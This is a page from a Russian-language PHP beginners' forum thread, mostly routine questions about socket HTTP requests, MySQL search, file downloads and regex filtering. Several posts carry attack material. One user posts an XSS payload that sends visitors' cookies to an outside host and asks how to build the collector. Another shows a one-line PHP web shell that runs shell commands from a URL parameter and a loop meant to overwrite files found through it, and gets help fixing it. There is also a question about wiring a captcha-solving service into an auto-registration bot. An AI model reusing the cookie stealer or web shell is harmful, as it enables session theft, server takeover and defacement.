[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Sifon110

    Sifon110 New Member

    Joined:
    13 Mar 2011
    Messages:
    34
    Likes Received:
    1
    Reputations:
    0
    Code:
    $url = "http://www.site.ru/script.php";
    $host = "www.site.ru";
    $port = 80;
    $post="text=lala";
    $data .= "POST ".$url." HTTP/1.1\r\n";
    $data .= "Host: ".$host."\r\n";
    $data .= "Referer: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/4.0 (compatible; OPERA 8; Windows NT 5.1)\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Connection: Keep-Alive\r\n";
    $data .= "Content-Length: ".strlen($post)."\r\n";
    $data .= "\r\n".$post;
    $s = fsockopen($host, 80); 
    fputs($s, $data);
    fclose($s);
    
    Запрос. Подскажите пожалуйста как прочитать ответ на запрос?
     
  2. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8

    fread()
     
  3. seofilms

    seofilms Banned

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    Возможно ли прикрутить к авторегеру на php антикапчу например antigate ?
    Есть у кого нибудь примеры ?
    .....

    Нашел у них же на сайте
    Но все еще интересуют готовые примеры.
     
    #20503 seofilms, 24 Apr 2012
    Last edited: 24 Apr 2012
  4. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    Хуман ? можно примеров много пишеш php+antigate examples или примеры :)
     
  5. Sifon110

    Sifon110 New Member

    Joined:
    13 Mar 2011
    Messages:
    34
    Likes Received:
    1
    Reputations:
    0

    делаю так:

    Code:
    
    $url = "http://www.ya.ru/";
    $host = "ya.ru";
    $port = 80;
    $post="";
    $data .= "GET / HTTP/1.1\r\n";
    $data .= "Host: ".$host."\r\n";
    $data .= "User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.10.229 Version/11.61\r\n";
    $data .= "Accept: text/html\r\n";
    $data .= "Connection: close\r\n";
    $s = fsockopen($host, 80); 
    fputs($s, $data);
    $otv = fread($s, strlen($s));
    fclose($s);
    echo($otv);
    

    скрипт вроде выполняется, но очень долго, вылазит Maximum execution time of 30 seconds exceeded

    Может буфер памяти для данных нужно сделать.? И как подскажите пожалуйста.
     
  6. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Sifon110
    PHP:
    <?php
    $fp 
    fsockopen("www.example.com"80$errno$errstr);
    if (!
    $fp)
    {
        echo 
    "$errstr ($errno)<br>\n";

    else 
    {
        
    $data .= "GET / HTTP/1.1\r\n";
        
    $data .= "Host: ".$host."\r\n";
        
    $data .= "User-Agent: Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.10.229 Version/11.61\r\n";
        
    $data .= "Accept: text/html\r\n";
        
    $data .= "Connection: close\r\n\r\n";
        
        
    fwrite($fp$data);
        
    $page '';
        while (!
    feof($fp))
        {
            
    $page .= fgets($fp128);
        }
        
    fclose($fp);
        echo 
    $page;
    }
    http://manual.pohape.ru/html/ru/function.fsockopen.html
     
    #20506 Skofield, 24 Apr 2012
    Last edited: 24 Apr 2012
  7. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    Есть два сайта. Как грамотнее организовать передачу с первого на второй нужных данных?

    После регистрации надо передать логин, хеш пароля и другие данные на второй сайт и записать их в базу. Первый сайт выступает в роли сервера регистраций, а на второй машине будет логин сервер, но располагаться будут на разных хостинг аккаунтах.
    Дело осложняет тот факт, что регистрационных серверов будет неограниченное количество(любой вебмастер может поместить на сайт себе).
    Кто что посоветовать может? готовый код не требуется, просто указание куда копать.
    Можно конечно через js форму отстучать в обработчик, но не надежно.
    А через курл...мне кажется это сильно для такой задачи.
     
    #20507 justonline, 27 Apr 2012
    Last edited: 27 Apr 2012
  8. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    justonline у меня сильное подозрение, что вы хотите сделать фейки и сервер, куда будете сливать акки. Какого рода система требуется? Если это все-таки что то доброе, то придется писать функцию, умеющую проверять наличие курла, сокетов и allow_url_open и умеющую передавать данные любым из этих способов. И да, так делать более правильно
     
    _________________________
  9. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    нет, с фейками возиться - хлопот много и не благодарное это дело. я больше по белому :)
    а нет универсальных методов решения данной задачи?
    ну наличие курла через !class_exists('CURL')
     
    #20509 justonline, 27 Apr 2012
    Last edited: 27 Apr 2012
  10. Anarh1st

    Anarh1st Member

    Joined:
    19 May 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0
    Ребята, такой вопрос.
    Как скачать файл средствами php с ссылки вида http://flibusta.net/b/35776/mobi ?
    Пробовал внагляк через copy и file_get_contents - нифига
    Получил ссылку для редиректа через curl - тоже самое.
    Получил заголовок с follow location - каша полная.
    Помогите пожалуйста, спасибо заранее.

    UPD. С этим разобрался, теперь такой вопрос:

    Ни у кого нет готового скрипта для отправки письма с аттачем на php через mail()?
    Я перепробовал около 5-ти вариантов из гугла(

    UPD. Оказывается, на серваке не работает mail ><
     
    #20510 Anarh1st, 29 Apr 2012
    Last edited: 29 Apr 2012
  11. weInc

    weInc New Member

    Joined:
    29 Mar 2012
    Messages:
    40
    Likes Received:
    3
    Reputations:
    0
    Здравствуйте, помогите с поиском по сайту, выбираю данные по LIKE в mysql, подскажите как сделать что бы строку к примеру "хороший сегодня день" искало не только в таком порядке но и в разброс, допустим в большом текст находило данные слова. Заранее спс.
     
  12. InSys

    InSys Member

    Joined:
    2 Feb 2012
    Messages:
    24
    Likes Received:
    20
    Reputations:
    31
    Разбиваешь предложение на слова. И если нужно вхождение хотябы одного слова:
    Code:
    SELECT * FROM `table` WHERE ((`text` LIKE '%сегодня%') OR (`text` LIKE '%хороший%') OR (`text` LIKE '%день%'))
    Если всех, то меняешь OR на AND:
    Code:
    SELECT * FROM `table` WHERE ((`text` LIKE '%сегодня%') AND (`text` LIKE '%хороший%') AND (`text` LIKE '%день%'))
     
    1 person likes this.
  13. weInc

    weInc New Member

    Joined:
    29 Mar 2012
    Messages:
    40
    Likes Received:
    3
    Reputations:
    0
    Спасибо, ещё один вопрос, то что вхождение ищет понятно, а как сделать что бы искало слово целиком но при этом не обязательно было что бы строка поиска соответствовала всем словам в тексте, то есть если одно из слов ( полностью совпавшее ) есть в тексте результат уже выводиться. СПС.
     
  14. Todin

    Todin Member

    Joined:
    28 Jan 2011
    Messages:
    47
    Likes Received:
    7
    Reputations:
    0
    weInc, прикалываешься? тебе выше уже все написали.
     
  15. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    есть такой xss скрипт для сбора куки
    PHP:
    <script>img = new Image();img.src "http://sitename/s/anet.gif?"+document.cookie;</script>
    какой скрипт должен быть в anet.gif для работы xss ?
     
  16. daniel777

    daniel777 Elder - Старейшина

    Joined:
    8 Jul 2010
    Messages:
    517
    Likes Received:
    90
    Reputations:
    37
    http://forum.antichat.ru/showthread.php?p=482535
     
    1 person likes this.
  17. Todin

    Todin Member

    Joined:
    28 Jan 2011
    Messages:
    47
    Likes Received:
    7
    Reputations:
    0
    ~FoX~, всегда такие фильтры удивляли. А не проще ли будет перечислить разрешенные типы файлов и загружать только их?
    PHP:
    $filetypes = array('jpeg''jpg''gif');
    if(
    is_uploaded_file($_FILES['ad_file']['tmp_name'])){ 
                    
    $tmp explode('.'$_FILES['ad_file']['name']); 
                    
    $ext strtolower($tmp[count($tmp)-1]); 
                    if(!
    in_array($ext$filetypes)){ 
                        die(
    'Wrong FileType Uploaded!'); 
                    } 
                }
     
    #20517 Todin, 2 May 2012
    Last edited: 2 May 2012
  18. seofilms

    seofilms Banned

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    PHP:
    $link=file_get_contents("site/tiki.php?_=find%20/%20-name%20chiterki.php%20-print");
    $search explode("\n"$link); 
    $kolvo=count($search);
    $current="tut byl vasil"
    while (
    $i <= $kolvo

    $fipi=file_get_contents("$search[$i]");
    file_put_contents($fipi"$current"); 
    $i++; 

    Что не так, почему не происходит запись в найденный файл?
    В файле tiki.php :
    <? error_reporting(0); system($_GET[_]) ?>
    PS: CHMOD777, ошибок не выдает.

    __________________________________

    Cделал тоже самое через fopen, fwrite - cработало, но почему не получается через file get contetns, file put contents ?
     
    #20518 seofilms, 3 May 2012
    Last edited: 3 May 2012
  19. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    Парни, такое дело.

    Есть строка, чем можно отсеять все символы кроме a-zA-Z0-9 / - _ .

    Пока писал, вспомнил про preg_replace, но помоему не совсем то что нужно


    Апдейт:

    preg_replace('![^a-zA-Z0-9\.\-\_\/]*!','',$patch);
     
    #20519 Mr.Snuffer, 4 May 2012
    Last edited: 4 May 2012
  20. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    seofilms первым параметром функции file_put_contents должно быть имя файла. И обременять переменную двойными кавычками в функции нет смысла.
     
Thread Status:
Not open for further replies.